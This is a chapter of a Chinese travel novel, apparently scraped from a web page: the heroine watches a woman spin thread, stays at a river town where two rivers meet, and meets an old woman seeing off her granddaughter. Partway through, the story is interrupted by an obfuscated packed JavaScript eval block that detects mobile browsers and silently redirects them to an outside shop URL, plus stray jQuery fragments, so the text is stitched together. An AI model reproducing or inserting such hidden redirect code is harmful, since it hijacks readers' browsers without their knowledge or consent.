流栖灯站起来。“我听见纺车的声音。进来看一眼。”
妇人把米瓢放在桌上，走到纺车前坐下。手搭上摇把，纺车在她手里立刻变了节奏——风纺的时候是懒洋洋的嗡嗡嗡，人纺的时候是紧凑的呜呜呜。棉条在她手指间匀速地抽出来捻成均匀的线，一圈一圈绕在锭子上。粗的地方她用手指捻细了，细的地方她放慢摇把的速度让棉条多送一点。风纺了一中午的线，她接手过来，几分钟就把不均匀的地方全修正了。
“风纺的线也能用。粗的地方做粗布，细的地方做细布。”她的手不停，声音和纺车声混在一起。“但我还是喜欢自己纺。手纺的线，心里有数。”
流栖灯看着棉条在她手指间变成均匀的线。“你纺了多少年了。”
“从能摸到纺车轮开始。”妇人把锭子上纺好的线取下来绕成一把。“我母亲教的。她说，纺线是女人手上最老实的事。粮食种在地里，可能旱可能涝，收成不由人。布织在机上，可能织错可能断经。线纺在手上，粗一点细一点全在自己。没有人能替你做主，也没有天能替你做主。”
她把绕好的线把子放进竹篮里。竹篮里已经有小半篮线把子了，每一把都绕得紧紧的，像一窝安安静静睡着的白蚕。
流栖灯从口袋里拿出白麻布。在无名村庄这一页画了纺车，风从门缝里吹进来，轮子自己转着。旁边画了年轻妇人坐在纺车前，手搭在摇把上。
妇人看了一眼布上的画。“你把我的纺车画对了。轮子是六根辐条，不是八根。很多人画纺车都画成八根，其实六根才转得圆。”她从竹篮里拿出一把新纺好的线把子塞进流栖灯手里。“带路上。缝个扣子补个口子用。”
流栖灯接过线把子。线是棉的，本白色，在掌心里软软的。她把它放进鞍袋里，和桑落村长的咸鸭蛋、腊鱼、霜打萝卜放在一起。
离开无名村庄的时候，花猫还蹲在石碾上舔爪子。舔完了左前爪开始舔右前爪。绿眼睛眯着，很认真。穗子经过石碾的时候低下头和花猫碰了碰鼻子。花猫伸出舌头在穗子鼻尖上舔了一下，然后跳下石碾走了。尾巴竖得笔直，尾尖弯成一个小小的问号。
傍晚她们在一条大河边上的镇子过夜。镇子叫白水渡，因青河在此汇入白水河而得名。青河从北边流过来，在这里和从西边流过来的白水河交汇。两河水色不同——青河的水是青绿色的，白水河的水是浑白色的，带着上游山里的石灰岩粉末。两河水在交汇处不马上混合，青绿和浑白并排流着，中间一道清晰的界限，像两块不同颜色的绸缎缝在了一起。流了很远很远，那界限才慢慢模糊，最后变成一种说不上青也说不上白的颜色。
客栈建在河岸的高处，推开窗就能看见两河交汇。流栖灯趴在窗台上看河水。青绿和浑白并排流着，中间那道界限被暮色染成了灰紫色。她想起青河上游的撑船人——坐在码头石头上，竹竿横在膝盖上，没人过河的时候就看水。撑船人看见的青河是青绿色的。她现在看见的青河，流了几百里，在这里和另一条河汇在一起。颜色被冲淡了，但还是青的底子。
“青河在这里变成白水河了。”她说。
格蕾塔站在她旁边，也在看河水。“名字变了，水还是那水。从北边的山里流出来，流过松林，流过渡口，流过茶园，流过灰树镇，流到这里。撑船人看见的水，和你看的水，是同一条水。”
“那它还会继续流。”
“流。流进白水河，白水河流进更大的河，更大的河流进海。海很大，能装下所有的水。”
流栖灯看着青河和白水河交汇的地方。那道界限在暮色里越来越模糊，最后完全融在一起看不见了。她把手伸-进鞍袋里摸了摸陶窑女人给的豆青色收腰罐子。罐身上那片火焰流过的纹路像青河的水纹。青河的水纹现在流进了白水河。白水河会带着它流进更大的河。更大的河会带着它流进海。海很大，能装下所有的水。
晚饭是客栈灶房端来的河鱼。鱼是白水河里打的，鲫鱼，用酱焖了，上面撒着一把切碎的青蒜。鱼肉嫩，酱汁浓，青蒜的辛辣把河鱼的土腥气托住了变成了一种厚实的鲜。流栖灯用鱼汤拌饭吃了两大碗。
吃完饭她趴在窗台上继续看河水。天全黑了，河面上的水色看不见了，但水流的声音还在。青河的水和白水河的水一起流着，发出一种比单条河流更厚更绵长的声响。像两种声音叠在一起，谁也没有盖过谁。
她把白麻布拿出来，在两河交汇这一页画了青绿和浑白并排流着的河水。
夜里她躺在客栈的床上，听着窗外的河水声。河水在黑暗里流着，从北边来，往南边去。她想起那个什么都不卖的老女人。她在集市尽头等人，等的人在她的布上，她看不见了只能等那人自己走过来。她等的人是谁，她没有说。但流栖灯觉得，那个人可能也在某一条河边，看着河水，等着走到对岸去。或者不走到对岸，就坐在河边看水。看够了，就有人来了。
她把白麻布从枕头底下摸出来。纺织妖精的节点在布角上亮着，银蓝色的光很淡，但在客栈的黑暗里够亮了。她借着节点微弱的光看布上画的人——一个一个人，在银蓝色的微光里安安静静的。老桑妮孙女举着的手，朵拉靠着灶台的背影，纺织妖精手指末端的绒球，陶窑女人蹲在窑口前取陶器。卖茶人坐在老樟树下，铜壶在炉子上冒着热气。桑园的妇人拿着剪刀剪桑枝。无名村庄里风替人纺线，棉条在锭子上慢慢捻成细丝。
她们都在做自己的事。等。烧。采。剪。撑。种。腌。晒。捕。纺。事不一样，手不一样，地方不一样。但手都在动。风替她们纺线的时候，她们在灶房里，在后院里，在田埂上，在去往集市的路上。她们不在的时候，风替她们纺着。她们回来了，接上手，把不均匀的线纺匀了。线绕成把子放进竹篮里，像一窝安安静静睡着的白蚕。
她把布叠好放在枕头边。节点的银蓝色光透过布面，在黑暗里是一小团温润的亮。河水声从窗外传进来。青河和白水河一起流着。她闭上眼睛。
第二天早晨离开白水渡的时候，她在渡口看见一个人。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619702|203862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
是一个坐在河岸边一块石头上看水的人。背对着官道，面对着河水。灰白色的头发，披散着，在晨风里轻轻飘着。身边放着一根竹竿。流栖灯的心跳快了一拍。她勒住穗子翻身下马，走到那人身后。那人没有回头。
“您在等谁。”
那人转过脸来。不是集市上那个老女人。是另一张脸。年纪也很大了，皱纹从眼角往太阳穴方向散开，和灰树镇药草铺老人一样的纹路，和茶园茶农一样的纹路，和陶窑女人一样的纹路。在户外过了一辈子的人，脸上的纹路都往同一个方向走。
“我不等人。”她说。声音像河水冲过卵石。“我送人。我的孙女从渡口坐船往下游去了。我送到这里，看着她上船。船走了，我坐一会儿。坐够了就回去。”
流栖灯在她旁边的石头上坐下来。河水在面前流着，青绿和浑白已经混在一起了，分不清哪是青河哪是白水河。“您孙女去哪里。”
“去帝都。”老人把竹竿横在膝盖上。“她说帝都大，人多，有事做。我说好。她就去了。”
老人看着河水，眼睛是很淡的灰白色——年纪大了瞳孔褪了色的灰白。但她看河水的样子，像真的看见了什么。可能是青河从北边山里流出来的样子，可能是孙女坐的船往下游走的样子，也可能是她自己年轻时从这条河上走过的样子。
“您不跟她去。”
“不去。我的根在这条河边上。走了，根就断了。”她把竹竿从膝盖上拿起来，用竹竿头在河岸的泥土里戳了一个小洞。“她的根也在这里。但她年轻，根可以分出去。分出新的根，扎在新的地方。老根还在，新根也活。都活。”
流栖灯从口袋里拿出白麻布。在送别这一页画了老人坐在河岸上，竹竿横在膝盖上，面对着河水。
老人偏过头看了一眼布上的画。灰白色的眼睛在晨光里微微眯起来。“你画了我。”
“画了。”
老人点了点头，从怀里摸出一样东西放在流栖灯手里。是一颗石头。青绿色的，被河水冲得光滑如卵，石面上有一条天然的纹路，弯弯曲曲的，像河流的形状。“青河里捡的。捡了很多年。这颗最像青河。你带着，替我去看看下游的水。”
流栖灯把石头握在掌心里。石头是凉的，河水的凉，从掌心渗进来。她把石头放进口袋里，和白麻布放在一起。
上马之后她回头看了一眼。老人还坐在河岸上，竹竿横在膝盖上，灰白色的头发在风里飘着。她不是集市上那个什么都不卖的老女人。但她也等过人。或者不是等，是送。送走了，自己留下来，坐在河边看水。看够了，就回去了。
穗子迈出步子。白水渡的渡口在身后慢慢变小。河岸上的老人变成一个小小的点，然后被官道边的行道树挡住了。
阿灰在前面带路。蹄声在官道上响着。流栖灯把手伸-进口袋摸了摸那颗青绿色的石头。石头上河流形状的纹路在指腹下微微起伏。替她去看看下游的水。
下游是帝都。
帝都还有很远。